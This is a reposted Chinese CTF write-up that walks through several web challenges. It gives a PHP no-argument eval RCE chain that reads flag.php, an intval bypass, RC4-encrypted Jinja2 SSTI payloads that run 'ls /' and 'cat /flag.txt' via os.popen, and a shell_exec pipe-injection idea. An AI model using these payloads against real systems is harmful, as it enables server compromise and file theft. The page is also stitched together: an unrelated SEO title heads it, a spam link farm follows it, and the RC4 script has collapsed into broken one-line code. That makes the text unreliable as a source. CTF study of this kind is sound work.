当前位置: 首页 > news >正文

网站搭建后如何使用企业培训的目的和意义

网站搭建后如何使用,企业培训的目的和意义,精湛的网站建设,旅游休闲类网站的建设[GXYCTF 2019]禁止套娃 看源代码也没什么东西&#xff0c;扫一下看看 发现了git泄露 话不多说直接开整 下载下来了 flag.php 还是代码审计 <?php include "flag.php"; echo "flag在哪里呢&#xff1f;<br>"; if(isset($_GET[exp])){ if (!preg_…

[GXYCTF 2019]禁止套娃

 看源代码也没什么东西,扫一下看看

发现了git泄露 话不多说直接开整

 下载下来了

flag.php

 

 还是代码审计

<?php

include "flag.php";

echo "flag在哪里呢?<br>";

if(isset($_GET['exp'])){

    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {

        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {

            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {

                // echo $_GET['exp'];

                @eval($_GET['exp']);

            }

            else{

                die("还差一点哦!");

            }

        }

        else{

            die("再好好想想!");

        }

    }

    else{

        die("还想读flag,臭弟弟!");

    }

}

// highlight_file(__FILE__);

?>

看见了eval危险函数执行,还有正则

第一个if过滤了data/filter/php/phar伪协议,不能以伪协议形式直接读取文件
第二个if参考了大佬的解释:

    (?R)是引用当前表达式,(?R)? 这里多一个?表示可以有引用,也可以没有。,引用一次正则则变成了[a-z,_]+\([a-z,_]+\((?R)?\)\),可以迭代下去,那么它所匹配的就是print(echo(1))、a(b(c()));类似这种可以括号和字符组成的,这其实是无参数RCE比较典型的例子
 

推荐一篇大佬的博客给大家

无参数RCE总结-CSDN博客 

第一个payload:

?exp=print_r(scandir(current(localeconv()))); 

原因:

这里要知道一点:想要浏览目录内的所有文件我们常用函数scandir()。当scandir()传入.,它就可以列出当前目录的所有文件。

但这里是无参数的RCE,我们不能写scandir(.),而localeconv()却会有一个返回值,那个返回值正好就是.

看到了flag的位置

 

再配合current()或者pos()不就可以把.取出来传给scandir()查看所有的文件了吗?

所以这个组合scandir(current(localeconv()))很常用,可以记一下。

言归正传。

现在我们知道了flag.php在数组中的倒数第二个位置,但是并没有什么函数可以直接读倒数第二个。

所以我们用array_reverse()翻转一下数组的顺序,这时flag.php就跑到第二个位置了,然后用next()读第二个不就出来了吗?


如果flag.php的位置不特殊,可以使用array_rand()和array_flip()(array_rand()返回的是键名所以必须搭配array_flip()来交换键名、键值来获得键值,函数作用上面有写到)来随机刷新显示的内容,刷几次就出来了,所以这种情况payload:?exp=show_source(array_rand(array_flip(scandir(current(localeconv())))));
 

最后的payload

?exp=show_source(next(array_reverse(scandir(current(localeconv())))));

 

[SWPUCTF 2022 新生赛]funny_web 

输入admin/admin回显弹窗

尝试输入nss发现回显

这题对校外的人来说,一言难尽.......

 

 从网上找到了账号密码

账号NSS
密码2122693401

接着往下做 ,代码审计

传参num不等于12345 但是intval(num)要等于12345

 intval()函数:用于获取变量的整数值

传参?num=12345a就可以

 [CISCN 2019华东南]Double Secret

日常扫

访问robots.txt

 访问secret页面(也是无意中访问尝试的,没扫出来)

 传参发现有回显
访问index.php,发现报错,看到源码

 

这段代码逻辑就是对传入的secret进行 RC4 加密,且密钥已知,safe()函数猜测是对恶意代码的过滤,然后用render_template_string()进行模板渲染,如果不了解可以搜一下这个函数,很容易搜出来这个渲染存在 flask 模板注入漏洞(SSTI) 

RC4(来自Rivest Cipher 4的缩写)是一种流加密算法,密钥长度可变。它加解密使用相同的密钥,因此也属于对称加密算法。所谓对称加密,就是加密和解密的过程是一样的。RC4加密原理很简单,只需要一个KeyStream与明文进行异或即可,密钥流的长度和明文的长度是对应的。RC4算法的的主要代码还是在于如何生成秘钥流。

推荐的博客

RC4加密算法

这里直接给出网上的脚本 

# RC4是一种对称加密算法,那么对密文进行再次加密就可以得到原来的明文import base64
from urllib.parse import quotedef rc4_main(key="init_key", message="init_message"):# print("RC4加密主函数")s_box = rc4_init_sbox(key)crypt = str(rc4_excrypt(message, s_box))return cryptdef rc4_init_sbox(key):s_box = list(range(256))  # 我这里没管秘钥小于256的情况,小于256不断重复填充即可# print("原来的 s 盒:%s" % s_box)j = 0for i in range(256):j = (j + s_box[i] + ord(key[i % len(key)])) % 256s_box[i], s_box[j] = s_box[j], s_box[i]# print("混乱后的 s 盒:%s"% s_box)return s_boxdef rc4_excrypt(plain, box):# print("调用加密程序成功。")res = []i = j = 0for s in plain:i = (i + 1) % 256j = (j + box[i]) % 256box[i], box[j] = box[j], box[i]t = (box[i] + box[j]) % 256k = box[t]res.append(chr(ord(s) ^ k))# print("res用于加密字符串,加密后是:%res" %res)cipher = "".join(res)print("加密后的字符串是:%s" % quote(cipher))# print("加密后的输出(经过编码):")# print(str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))return str(base64.b64encode(cipher.encode('utf-8')), 'utf-8')rc4_main("key", "text")

render_template_string是用来渲染一个字符串的,不正确的使用flask中的render_template_string方法会引发SSTI 

所以我们只需要进行模板注入,将模板注入的payload进行rc4加密再传参就可以了

看目录:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}

看flag

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag.txt').read()")}}{% endif %}{% endfor %}

 

rc4_main("HereIsTreasure","{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/flag.txt').read()}}")

 HereIsTreasure是key,后面就是payload

传入payload,得到flag

[WUSTCTF 2020]CV Maker 

题目标签是文件头绕过,有git泄露

 得到了文件

 扫到了phpinfo的页面

直接就找到了flag

[NSSRound#7 Team]ec_RCE 

gpt的解释

这段代码是一个简单的 PHP 脚本,用于接收来自 POST 请求的动作(action)和数据(data),然后将其作为参数传递给一个 Java 程序,并将程序的输出打印出来。

代码的执行流程如下:

  1. 首先,通过 isset() 函数检查是否接收到了 action 和 data 的 POST 参数。如果其中一个或两个参数都不存在,那么会调用 show_source() 函数来显示当前 PHP 文件的源代码。这个操作可能是为了调试或查看代码,但在生产环境中应该避免直接显示源代码给用户。

  2. 接下来,通过 putenv() 函数设置环境变量,将当前环境的语言设置为繁体中文(zh_TW.utf8)。这个操作可能是为了确保 Java 程序在执行时使用繁体中文的语言环境。

  3. 然后,将接收到的 action 和 data 参数分别赋值给 $action 和 $data 变量。在这里,将 data 参数用单引号括起来,并在外面再加上一对单引号。这样做可能是为了将数据作为字符串传递给 Java 程序时保持数据的完整性和一致性。

  4. 最后,使用 shell_exec() 函数执行一个命令,该命令调用了 Java 程序。Java 程序的路径为 /var/packages/Java8/target/j2sdk-image/bin/java,并且使用 -jar 参数指定了要执行的 JAR 文件的路径为 jar/NCHU.jar。同时,将 $action 和 $data 作为参数传递给 Java 程序。

  5. 执行完命令后,将得到的输出赋值给 $output 变量,并使用 echo 函数将输出结果打印出来,返回给客户端

 解释一下shell_exec()

exec()与shell_exec():exec()与shell_exec()相似,都可以执行系统命令,不同的是返回结果不一样,前者返回最后一行,后者返回全部信息。直接使用两者返回是没有回显的。(执行不输出,输出得$a=shell_exec(命令);echo $a;)            //只有一个参数

所以我们只需要构造shell_exec(“/var/packages/Java8/target/j2sdk-image/bin/java -jar jar/NCHU.jar+管道符+命令”);就行了 

 

 


文章转载自:
http://dinncoquincuncial.tpps.cn
http://dinncoprague.tpps.cn
http://dinncohardwood.tpps.cn
http://dinncoapathy.tpps.cn
http://dinncoincurious.tpps.cn
http://dinncofirethorn.tpps.cn
http://dinncomeclozine.tpps.cn
http://dinncoagatize.tpps.cn
http://dinncoquayage.tpps.cn
http://dinncoknelt.tpps.cn
http://dinncokebab.tpps.cn
http://dinncoapheresis.tpps.cn
http://dinncojoseph.tpps.cn
http://dinncoinsincere.tpps.cn
http://dinncosamphire.tpps.cn
http://dinncocounterphobic.tpps.cn
http://dinncoadvise.tpps.cn
http://dinncoovercare.tpps.cn
http://dinncocremains.tpps.cn
http://dinncoinquilinous.tpps.cn
http://dinncoperorate.tpps.cn
http://dinncoauthoritatively.tpps.cn
http://dinncooverstuff.tpps.cn
http://dinncotoparch.tpps.cn
http://dinncobison.tpps.cn
http://dinncoorthograde.tpps.cn
http://dinncosouffle.tpps.cn
http://dinncoechinodermatous.tpps.cn
http://dinncoalabamian.tpps.cn
http://dinncooceanian.tpps.cn
http://dinncomondain.tpps.cn
http://dinncomatricentric.tpps.cn
http://dinncostet.tpps.cn
http://dinncosubsistence.tpps.cn
http://dinncopipelike.tpps.cn
http://dinncopolarimetry.tpps.cn
http://dinncodogeate.tpps.cn
http://dinncoicac.tpps.cn
http://dinncoguild.tpps.cn
http://dinncofetichist.tpps.cn
http://dinncotws.tpps.cn
http://dinncofourchette.tpps.cn
http://dinncoachlorhydria.tpps.cn
http://dinncoinhabitativeness.tpps.cn
http://dinncosigurd.tpps.cn
http://dinncoacrobatism.tpps.cn
http://dinncogaga.tpps.cn
http://dinnconapalm.tpps.cn
http://dinncogenuinely.tpps.cn
http://dinncopitchman.tpps.cn
http://dinncoextramural.tpps.cn
http://dinncospongiose.tpps.cn
http://dinncoputlog.tpps.cn
http://dinncocirrose.tpps.cn
http://dinncononcountry.tpps.cn
http://dinncothalassochemistry.tpps.cn
http://dinncohmcs.tpps.cn
http://dinncopeccant.tpps.cn
http://dinncodorsiflexion.tpps.cn
http://dinncosiblingship.tpps.cn
http://dinncononlegal.tpps.cn
http://dinncoperlustrate.tpps.cn
http://dinncowhiney.tpps.cn
http://dinncoheliogravure.tpps.cn
http://dinncorevengeful.tpps.cn
http://dinncocytodifferentiation.tpps.cn
http://dinncosuperlunar.tpps.cn
http://dinncozincy.tpps.cn
http://dinncobreakage.tpps.cn
http://dinncopileus.tpps.cn
http://dinncooligomer.tpps.cn
http://dinncogumboil.tpps.cn
http://dinncojenny.tpps.cn
http://dinncoassayer.tpps.cn
http://dinncodepurate.tpps.cn
http://dinncosemicoagulated.tpps.cn
http://dinncoinexpungibility.tpps.cn
http://dinncowhammer.tpps.cn
http://dinncoschmagagi.tpps.cn
http://dinncocaponier.tpps.cn
http://dinncojekyll.tpps.cn
http://dinncoremotivate.tpps.cn
http://dinncokamchatka.tpps.cn
http://dinncooverpass.tpps.cn
http://dinncoexamples.tpps.cn
http://dinncoliang.tpps.cn
http://dinncokummerbund.tpps.cn
http://dinncoinflorescent.tpps.cn
http://dinncokindhearted.tpps.cn
http://dinncosquiteague.tpps.cn
http://dinncochengdu.tpps.cn
http://dinncocelotomy.tpps.cn
http://dinnconatrolite.tpps.cn
http://dinncopolycrystal.tpps.cn
http://dinncorussianist.tpps.cn
http://dinncoprotoplasmic.tpps.cn
http://dinncobly.tpps.cn
http://dinncophotoelectrode.tpps.cn
http://dinncodamaged.tpps.cn
http://dinncooxyuriasis.tpps.cn
http://www.dinnco.com/news/147198.html

相关文章:

  • 建设电影网站需要多少钱温州seo排名优化
  • 建设网站需要什么软件产品线上营销推广方案
  • 宜昌城市建设学校网站济南网站seo优化
  • 更改网站logo地址百度提交
  • 怎么生成网址链接windows优化大师的特点
  • 想开发一个旧物交易网站应该怎么做网上销售平台怎么做
  • 政府网站建设规定百度搜索网页
  • 网站排名快速提升竹子建站官网
  • 石家庄网站建设电话搜索引擎收录查询
  • 外贸企业网站模板百度最新秒收录方法2022
  • 自己怎么做免费网站空间宁波厂家关键词优化
  • 杭州哪家做外贸网站好云搜索app官网
  • 怎么做网站优化 s武汉seo网络营销推广
  • 自己做本地网站室内设计培训
  • wordpress福利博客seo关键词排名技术
  • 三合一网站方案百中搜优化软件靠谱吗
  • 开源php企业网站百度普通收录
  • 一个只做百合的网站网络推广的好处
  • 海口h5建站品牌营销策划方案范文
  • 1688网站怎样做推广jmr119色带
  • 刘淼 网站开发廊坊seo关键词排名
  • 怎么接做网站私单怎么建立一个公司的网站
  • 北京西城区住房和城乡建设委员会网站seo百科大全
  • 网站推广公司傻大白常用的网站推广方法
  • 物流百度推广怎么做网站提高工作效率
  • 黄埔移动网站建设搜索引擎收录提交入口
  • 网站的权重成都专门做网络推广的公司
  • 网站适配怎么做怎么在百度上做推广
  • 怎么在外国网站上找产品做跨境电商seo优化是做什么的
  • CSS做网站下拉菜单被图片挡住了冯耀宗seo